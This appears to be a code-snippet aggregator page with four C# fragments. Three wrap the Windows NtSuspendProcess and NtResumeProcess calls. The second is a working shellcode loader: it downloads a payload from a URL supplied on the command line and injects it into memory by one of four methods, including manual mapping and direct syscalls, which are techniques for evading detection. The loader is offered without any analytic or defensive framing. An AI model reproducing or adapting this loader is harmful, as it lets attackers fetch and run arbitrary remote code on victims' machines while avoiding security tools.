コード例 #1
0
        public static void ResumeProcess(string procName)
        {
            var proc = Process.GetProcessesByName(procName)?.FirstOrDefault();

            if (proc == null)
            {
                return;
            }

            NTDLL.NtResumeProcess(proc.Handle);
        }
コード例 #2
0
        static void Main(string[] args)
        {
            if (args.Length < 2)
            {
                printHelp();
                return;
            }

            string tipo = args[0];
            string url  = args[1];

            byte[] sc = new System.Net.WebClient().DownloadData(url);

            switch (tipo)
            {
            case "1":
            {
                PInvoke.Inject(sc);
                break;
            }

            case "2":
            {
                NTDLL.Inject(sc);
                break;
            }

            case "3":
            {
                Manual_Mapping.Inject(sc);
                break;
            }

            case "4":
            {
                Syscall.Inject(sc);
                break;
            }

            default: break;
            }

            while (true)
            {
            }
        }
コード例 #3
0
 public static void ResumeProcess(IntPtr handle)
 {
     NTDLL.NtResumeProcess(handle);
 }
コード例 #4
0
 public static void SuspendProcess(IntPtr handle)
 {
     NTDLL.NtSuspendProcess(handle);
 }